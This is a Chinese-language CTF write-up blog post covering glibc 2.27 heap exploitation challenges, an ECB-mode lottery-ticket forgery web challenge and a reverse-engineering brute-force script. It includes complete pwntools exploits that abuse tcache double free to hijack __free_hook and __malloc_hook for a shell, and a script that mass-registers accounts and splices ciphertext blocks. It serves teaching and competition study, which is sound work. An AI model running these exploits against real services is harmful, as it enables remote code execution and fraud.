注意
本文最后更新于 2024-02-12,文中内容可能已过时。
这次比赛是和V&N的大师傅们一起打的,我也学到了好多,比赛期间 + 赛后复现的题目我都会放在这篇文章中。
V&N最后拿了比赛的第六名!! V&N太强啦!!冲冲冲
PWN
babyheap
题目亮点
新版本的glibc 2.27-3ubuntu1.4,保护机制类似于2.29,存在对tcache doube free的检测。
题目代码
主函数
add函数
其中对申请的size做了限制,只能申请在fastbin范围内的size,且要小于0x60。
delete函数
释放之后不能清空指针内容,可以造成double free,也可以配合edit造成UAF。
edit函数
由于free的时候没有清空指针的内容,所以可以造成UAF,但是在写入的时候从第八字节开始写入,以至于无法写入next指针 内容,但是可以修改key 字段的内容,也就是可以绕过tcache double free 的检测。
show函数
可以用于leak
leaveYouName函数
申请了一个0x400 size的chunk,这是在largebin 范围内的size,会触发malloc_consolidate ,让fastbin中的内容先进入到unsorted bin中,然后发现申请size不符合,所以又会进入small bin
位置看链接:https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3711
题目分析
leak libc
通过malloc_consolidate 函数就可以在栈上留一个在main_arena中的指针(在glibc中)。
由于存在show函数,我们直接leak libc。
接下来的操作可以分为两种方法来操作,其中方法二是我比赛的时候想到的方法
方法一(简单明了的方法)
chunk overlapping
由于我们可以让chunk存在于unsorted bin,我们从中分割出一块数据来造成overlapping,虽然我们控制不了前八个字节,但是我们可以利用overlapping来间接控制。
如下表所示:
name size chunk a 0x21 chunk b 0x21 chunk c 0x21
例如如上的三块堆块,我们可以直接malloc一个0x41 size的chunk,就可以直接控制到chunk b的全部内容。
hijack __free_hook
由于不能申请size为0x7x的,所以我们没有简单的方法来绕过fastbin 的 size 检测。
但是我们可以利用free没有清空指针的漏洞,在fastbin和tcache中同时存放一个chunk(这个步骤的方法很多,比如可以让counts = 2的tcache指针连续申请三次,让counts = -1,这样就可以让接下来的chunk进入到fastbin中,或者直接free七次都是可以的)。
再通过overlapping 来修改到tcahce的next指针,使其指向__free_hook来进一步攻击
方法二(复杂,不推荐)
比赛的时候不知道咋的,所以没想到方法一,用的是另外一种更为复杂的方法,我暂且把他叫做hijack malloc_arena by tcache 。实际意义不大,利用过程还有待开发。
利用要求
1.开启tcache机制
2.在有tcahe的key保护的glibc版本下,需要泄露heap_base,如果有leak函数可以通过main_arena->top计算得出
3.tcache的next为main_arena上的一个地址,比如通过doube free,让tcache的next进入到smallbin中。
利用目的
1.可以用来修改main_arena->top
2.house of froce
3.chunk overlapping(可以控制到整个结构)
利用来源
通过leak libc之后,由于tcache堆块也同样进入了smallbin,所以我们tcache的堆块的next就是main_arena上的一个偏移,如下所示:
这个指针指向的small bin的位置,正好是呈现一个不断向上指向的一条链
我们可以使用telescope 命令来观察一下这个链表:
可以发现这个链表长度很长一次命令也没有显示完全,所以我们使用了多行代码来操作。
利用分析
通过这个链表,我们可以不断的申请,我们可以申请到很多关键的位置,我们一一来分析。
1.最后的位置0x564f83cd9740
这个位置所指向的正是top chunk的位置,但是由于新版本的各种检测,使得house of force 不再那么容易的构造,且这题对申请size有所限制,所以我们这道题不考虑这个方法。
2.倒数第二个位置(main_arena->top)
而这个指针就是储存在main_arena上的top,他指向top chunk的内容,要是在其他题目中,如果我们可以修改这个位置,并且让指针指向**__free_hook - 0xb58**的位置(因为这个位置有个大数字,可以满足top chunk的size),之后通过不断申请,就能够申请到__free_hook的位置。
但是由于这道题无法对前八个字节进行写入,所以这种方法对于这题无效
3.倒数第三个位置,bin[0]
这个位置实际上存放的是unsorted bin的头部指针,但是这里由于unsorted bin没有内容,所以指向了main_arena->top。
但是对于这道题,如果我们要修改的话,只可以修改bin[1]的内容,又由于新版本的各种检测,从而无法利用。
不过我们可以考虑到,如果我们可以让unsortedbin中有一些内容的话,也就是让bin[0]的内容不指向main_arena->top,而是指向unsorted bin堆块的地址的话,那么我们就可以通过此来申请到unsorted bin上的堆块,让这个堆块在unsorted bin和tcache上同时存在。
如下图就是申请到了unsorted bin上堆块的内容,但是由于key的存在,所以size位被清空为0了,所以我们需要修复size位的内容。
修复后再次申请size对应的堆块大小,就可以从unsorted bin中再次申请到这一块可控的堆块了,申请到后再次free,让他进入到tcache链中(所以要求这个size与之前不一致,否则会进入到fastbin中,利用范围就很小了)。
而且我们通过main_arena链表申请到的这个堆块位置是从堆块的结构体开始,也就是就我们只要修改0x10偏移的位置,也就是相当于修改到了tcache 的 next 指针,我们把他修改成__free_hook就可以实现利用
最后还要考虑到main_arena的结构被破坏的问题
代码来源:https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#2952
1
2
3
4
5
6
7
8
9
10
11
12
13
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get ( size_t tc_idx )
{
tcache_entry * e = tcache -> entries [ tc_idx ];
assert ( tc_idx < TCACHE_MAX_BINS );
assert ( tcache -> counts [ tc_idx ] > 0 );
tcache -> entries [ tc_idx ] = e -> next ;
-- ( tcache -> counts [ tc_idx ]);
e -> key = NULL ;
return ( void * ) e ;
}
由于在新版本的glibc中多了key这个设定,所以加申请到堆块后,这个位置的内容会先被清为0。main_arena上的内容就会被破坏成如下情况,如果使用到,我们之后需要这部分main_arena所管理的堆块,那么要先恢复对应的内容。具体要恢复哪个位置,可以根据调试来判断。
在修复的过程中需要修复bin[1]所指向的unsorted bin指针,而要计算出这个指针需要heap_base和libc_base。不过在我们有tcache的情况下,想要泄露出heap_base是比较容易的;有show函数的话,main_arena上就有大量的地址可以用于leak libc。
EXP
比赛的时候使用的是方法二,所以也只写了方法二的exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
context . log_level = "debug"
#r = process('./pwn1')
r = remote ( '52.152.231.198' , 8081 )
def choice ( idx ):
r . sendlineafter ( ">> " , str ( idx ))
def add ( idx , size ):
choice ( 1 )
r . sendlineafter ( "index" , str ( idx ))
r . sendlineafter ( "size" , str ( size ))
def delete ( idx ):
choice ( 2 )
r . sendlineafter ( "index" , str ( idx ))
def edit ( idx , content ):
choice ( 3 )
r . sendlineafter ( "index" , str ( idx ))
r . sendafter ( "content" , str ( content ))
def show ( idx ):
choice ( 4 )
r . sendlineafter ( "index" , str ( idx ))
def leaveYouName ( name ):
choice ( 5 )
r . sendlineafter ( "name:" , name )
add ( 0 , 0x58 )
add ( 1 , 0x58 )
add ( 2 , 0x18 ) #not consolidate top chunk
#double free
delete ( 0 )
edit ( 0 , p64 ( 0 )) #key -> 0
delete ( 0 )
#leak heap_base
show ( 0 )
r . recvuntil ( ' \n ' )
heap_base = u64 ( r . recvuntil ( ' \n ' , drop = True )[ - 6 :] . ljust ( 8 , ' \x00 ' )) - 0x260
log . success ( "heap_base: " + hex ( heap_base ))
#size -> 0xff
add ( 0 , 0x58 )
add ( 0 , 0x58 )
add ( 0 , 0x58 )
#chunk to fastbin
delete ( 0 )
delete ( 1 )
#malloc largebin -> malloc_consolidate -> fastbin chunk to unsortedbin -> unsortedbin to smallbin
leaveYouName ( "wjh" )
#leak libc
show ( 0 )
main_arena = u64 ( r . recvuntil ( ' \x7f ' )[ - 6 :] . ljust ( 8 , ' \x00 ' )) - 272
log . success ( "main_arena: " + hex ( main_arena ))
malloc_hook_addr = main_arena - 0x10
log . success ( "malloc_hook_addr: " + hex ( malloc_hook_addr ))
libc_base = malloc_hook_addr - 0x3ebc30
log . success ( "libc_base: " + hex ( libc_base ))
free_hook_addr = libc_base + 0x3ed8e8
log . success ( "free_hook_addr: " + hex ( free_hook_addr ))
system_addr = libc_base + 0x4f550
add ( 0 , 0x48 ) #smallbin -> unsortedbin
add ( 0 , 0x58 ) #malloc smallbin data in main_arena
add ( 0 , 0x48 )
#malloc to bin[0]
for i in range ( 0xB ):
add ( 0 , 0x58 )
#fix data
edit ( 0 , p64 ( heap_base + 0x2f0 ) + p64 ( main_arena + 112 ) + p64 ( main_arena + 112 ))
#malloc to unsorted bin data
add ( 5 , 0x58 )
edit ( 5 , p64 ( 0x21 )) #fix size
#malloc chunk from unsortedbin
add ( 6 , 0x18 )
delete ( 6 ) #into tcache
#hijack tcache->next
edit ( 5 , p64 ( 0x21 ) + p64 ( free_hook_addr - 0x8 ))
add ( 0 , 0x18 )
add ( 8 , 0x18 ) #get __free_hook
edit ( 8 , p64 ( system_addr ))
edit ( 5 , p64 ( 0x21 ) + '/bin/sh \x00 ' )
#getshell
delete ( 0 )
r . interactive ()
获得flag
baby_game
感谢publicqi和cnitlrt两位师傅 对我赛后复现提供的帮助。
盲测可以测出在两次都进入同一张图的情况下,会出现tcahce double free 。
通过Message功能可以leak libc。
通过控制c++的string长度来申请到0x61 size的堆块,从而利用tcache doube free 来修改next指针到**__malloc_hook**,修改为one_gadget 。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *
context . log_level = "debug"
libc = ELF ( ' . / libc . so .6 ' )
#r = process('./pwn')
r = remote ( ' 52.152.231.198 ' , 8082 )
def add ( data ) :
r . sendline ( "q" )
r . sendline ( "y" )
r . sendline ( data )
r . sendline ( "y" )
r . sendline ( "1" )
r . sendline ( "1" )
r . sendline ( "q" )
r . sendline ( "n" )
r . sendline ( "y" )
#leak libc
r . sendline ( "l" )
malloc_hook_addr = u64 ( r . recvuntil ( '\x7f' )[ - 6 : ]. ljust ( 8 , '\x00' )) - 96 - 0x10
libc_base = malloc_hook_addr - libc . sym [ ' __malloc_hook ' ]
one = [ 0x4f365 , 0x4f3c2 , 0x10a45c ]
one_gadget = libc_base + one [ 1 ]
log . success ( "libc_base: " + hex ( libc_base ))
add ( 'a' * 0x50 )
add ( p64 ( malloc_hook_addr ) + 'b' * 0x48 )
add ( 'c' * 0x50 )
add ( p64 ( one_gadget ) + 'd' * 0x48 )
r . interactive ()
个人感觉这道题的主要关键就是fuzz,直接分析代码是很难找到漏洞的,毕竟是C++的代码而且没有符号信息。
Web
lottery again
下载源码,并找到以下重点内容:
分析函数可以发现在兑换彩票的时候,会对彩票密文进行解码,通过解码得到的彩票lottery内容从数据库中找到对应数据,取得可兑换的coin数量,并把coin加到解码得到的user账号的硬币中。
分析代码可知,从密文中取得的user账号没有与在数据库中的信息进行验证,故如果我们可以篡改密文中对应的user信息,那么就可以让a用户购买的彩票,给b用户使用,从而让b用户达到白嫖的目的。
那如何来修改密文呢?观察到一下加密代码:
1
$enc = base64_encode ( mcrypt_encrypt ( MCRYPT_RIJNDAEL_256 , env ( 'LOTTERY_KEY' ), $serilized , MCRYPT_MODE_ECB ));
发现对彩票数据的加密是通过ECB模式进行加密,并且从加密方式MCRYPT_RIJNDAEL_256 ,可以得知加密分块是以0x20字节为一段的,而ECB模式可以确保在每一段之间的内容相互独立互不干扰,在这样的前提下,我们可以尝试替换储存在其中的user数据。
以下来逐步分析如何替换全部user-uuid信息
我们已有的密文数据是:
1
2
3
4
{"lottery":"b52d5239-24a5-4627-b
a46-58a00645c3e4","user":"111111
11-1111-1111-1111-111111111111",
"coin":1}
和
1
2
3
4
{"lottery":"demodemo-demo-demo-d
emo-demodemodemo","user":"222222
22-2222-2222-2222-222222222222",
"coin":1}
如下为一个加密数据的明文内容,每一行的长度为0x20(除最后一行外)
1
2
3
4
{"lottery":"b52d5239-24a5-4627-b
a46-58a00645c3e4","user":"111111
11-1111-1111-1111-111111111111",
"coin":1}
我们想要把其替换为
1
2
3
4
{"lottery":"b52d5239-24a5-4627-b
a46-58a00645c3e4","user":"222222
22-2222-2222-2222-222222222222",
"coin":1}
也就是把user信息都从1替换成2
但是我们只可以替换其中的任何一个一行的内容,才不会造成解密错误。
于是我们自然可以考虑替换第三行的内容,其标志着该彩票购买者的部分uuid信息。
但是由于只是部分uuid信息,所以即使替换了也是如下情况:
1
2
3
4
{"lottery":"b52d5239-24a5-4627-b
a46-58a00645c3e4","user":"111111
22-2222-2222-2222-222222222222",
"coin":1}
其user信息中的前六个字节无法被替换,由于六字节内容过长,不适合用爆破的方法来绕过。
但是如果我们考虑要把前六字节的信息也要替换的话,那么必须同时替换那一行的全部内容,也就是就会变成以下情况:
1
2
3
4
{"lottery":"b52d5239-24a5-4627-b
emo-demodemodemo","user":"222222
22-2222-2222-2222-222222222222",
"coin":1}
也就是会造成lottery 信息被替换,这会造成该彩票无法从数据库中读取到,直接报错。
最终考虑到以下构造:
1
2
3
4
5
{"lottery":"b52d5239-24a5-4627-b
a46-58a00645c3e4","user":"111111
emo-demodemodemo","user":"222222
22-2222-2222-2222-222222222222",
"coin":1}
由于在php在json_decode的时候,后面的user会覆盖前面的user,也就是正确的user可以覆盖错误的user,成功修改user信息。
其他部分就是,需要注册、登录、购买、彩票、兑换彩票,可以写个脚本使其自动化。
代码中的target为最终要用于购买flag的账号的一个彩票密文数据。
代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import json
import base64
url = "http://52.149.144.45:8080"
req = requests . session ()
def getheaders ():
return { "Cookie" : "api_token=" + token }
def reg ( user , pwd ):
text = req . post ( url + "/user/register" , data = { "username" : user , "password" : pwd }) . text
data = json . loads ( text )
return data
def login ( user , pwd ):
text = req . post ( url + "/user/login" , data = { "username" : user , "password" : pwd }) . text
data = json . loads ( text )
return data
def buy ( token ):
text = req . post ( url + "/lottery/buy" , data = { "api_token" : token }) . text
data = json . loads ( text )
return data
def hijack ( enc , enc2 ):
enc = base64 . b64decode ( enc )
enc2 = base64 . b64decode ( enc2 )
return enc [: 0x40 ] + enc2 [ 0x20 : 0x60 ] + enc [ 0x60 :]
def getInfo ( enc ):
text = req . post ( url + "/lottery/info" , data = { "enc" : enc }) . text
data = json . loads ( text )
return data
def charge ( user , coin , enc ):
text = req . post ( url + "/lottery/charge" , data = { "user" : user , "enc" : enc , "coin" : coin }) . text
data = json . loads ( text )
return data
target = 'GyXkfQYW9eaX6pLjjXj40HxYWzD7/wbbu6LB8hKIgHzspmlNP0zCwC07w6uK7rCLP2MvVoq8P2oXt+OoD1NY2Ba5J5Hs1AiZkdxBRIrTSq9H8y2BmPiCmO6fH2d9eJW+rk8BfTg14RVjLwF1pW5cSqW2FXVyWb0j5c8edRkKKGE='
uuid = getInfo ( target )[ 'info' ][ 'user' ]
for i in range ( 1000 ):
reg_data = reg ( 'wjhflag' + str ( i ), '123456' )
login_data = login ( 'wjhflag' + str ( i ), '123456' )
token = login_data [ 'user' ][ 'api_token' ]
for i in range ( 3 ):
buy_data = buy ( token )
enc = buy_data [ 'enc' ]
fake_enc = base64 . b64encode ( hijack ( enc , target ))
data = charge ( uuid , 0 , fake_enc )
print ( data )
Re
stream
图上为主要逻辑,从第4位开始,每次位数+7并生成随机数异或,但随机数种子是根据flag而得到的,而逐位爆破可能存在多解的情况,最后通过dfs对所有情况进行探路,若最后无法得到结果则剪枝。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import os
import string
with open ( "./output.bak" , 'rb' ) as f :
cmpbuf = f . read ()
flen = len ( cmpbuf )
flagchr = string . digits + string . ascii_letters + " {} *"
kflag = [ '0' for i in range ( 0 , len ( cmpbuf ))]
print ( "" . join ( kflag ))
p = 4
choice = []
for i in range ( flen ):
choice . append ( p )
p = ( p + 7 ) % flen
def getSec ( flag ):
with open ( './flag' , 'w' ) as w :
w . write ( "" . join ( flag ))
os . system ( './a' )
with open ( "./output" , 'rb' ) as f :
buf = f . read ()
return buf
def dfs ( t ):
if t == flen :
print ( "flag: " + '' . join ( kflag ))
exit ()
pos = choice [ t ]
for ch in flagchr :
kflag [ pos ] = ch
buf = getSec ( kflag )
if buf [ pos ] == cmpbuf [ pos ]:
print ( '' . join ( kflag ))
dfs ( t + 1 )
dfs ( 0 )
跑脚本得出flag
*flag: ctf{EbXZCOD56vEHNSofFvRHG7XtgFJXcUXUGnaaaaaa}
BlockChain
StArNDBOX
我一定要学会抄作业!!!